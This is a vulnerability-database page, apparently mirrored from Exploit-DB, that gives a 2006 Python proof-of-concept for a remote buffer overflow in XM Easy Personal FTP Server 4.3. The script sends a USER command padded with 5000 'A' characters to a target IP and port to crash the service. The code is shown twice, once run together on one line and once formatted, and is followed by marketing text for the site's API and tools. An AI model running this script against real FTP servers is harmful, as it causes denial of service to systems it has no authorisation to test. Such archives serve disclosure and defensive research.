Lucene search
K

XM Easy Personal FTP Server 4.3 - 'USER' Remote Buffer Overflow (PoC)

🗓️ 04 May 2006 00:00:00Reported by rewterzType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 91 Views

XM Easy Personal FTP Server 4.3 'USER' Remote Buffer Overflow (PoC) import socket structure time sys buff='USER '+'A'*5000+'\r\n' if len(sys.argv)!=3: print "[+] Usage: %s <ip> <port> \n" %sys.argv[0] sys.exit(0) try: print "[+] Connecting to %s" %sys.argv[1] s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((sys.argv[1],int(sys.argv[2])) print "[+] Sending Evil buffer" time.sleep(1) s.send(buff) print "[+] Service Crashed" s.recv(1024) except: print "[+] Could Not Connect To ftp server" exploi

Code
##############################################################
# XM EASY PERSONAL FTP SERVER v4.3                           #  
# http://www.securityfocus.com/archive/1/432960/30/0/threaded# 
# Buffer Overflow Vulnerability PoC                          #  
# [email protected]                                          #
##############################################################

import socket
import struct
import time
import sys


buff='USER '+'A'*5000+'\r\n'

if len(sys.argv)!=3:
	print "[+] Usage: %s <ip> <port> \n" %sys.argv[0]
	sys.exit(0)

try:
	
        print "[+] Connecting to %s" %sys.argv[1]
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect=s.connect((sys.argv[1],int(sys.argv[2])))
	print "[+] Sending Evil buffer"
	time.sleep(1)
	s.send(buff)
        print "[+] Service Crashed"
        s.recv(1024)
	
except:
	print "[+] Could Not Connect To ftp server"

# milw0rm.com [2006-05-04]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation